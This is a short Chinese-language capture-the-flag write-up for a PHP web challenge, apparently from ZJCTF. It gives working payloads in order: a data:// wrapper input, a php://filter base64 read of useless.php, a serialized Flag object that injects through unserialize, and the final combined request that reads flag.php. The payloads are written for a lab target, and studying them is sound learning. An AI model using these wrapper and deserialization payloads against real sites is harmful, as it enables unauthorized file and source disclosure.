上来就看到如下PHP源码
我就直接丢你们ai解释的了,比我说得清楚
传递三个参数意味着我们需要过三层
第一层text参数需要非空且以读取文件形式读出"welcome to the zjctf"字符串,
我们可以用data://协议将字符串写入文件传给text参数
?text=data://text/plain,welcome to the zjctf
一般传输数据需要进行base64加密,加密后payload为
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
成功显示
第二层:代码中用正则匹配过滤flag,发现变量中含flag就exit停止执行
但是下面代码给我们提示了useless.php文件,文件包含执行
我们用php://filter协议读取该文件内容,payload为:
file=php://filter/read=convert.base64-encode/resource=useless.php
成功读出加密数据
base64解码后得到源码:
上面提示我们flag.php文件,估计flag就在这里面
查看代码后发现参数给变量password前需要进行反序列化,说明原本的数据是序列化后的数据
我们只需添加两行代码即可得到序列化后数据O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}(别忘了赋值给$file!)
最终payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
显示成功,在源码(ctrl+U和鼠标右键都可查看)中发现flag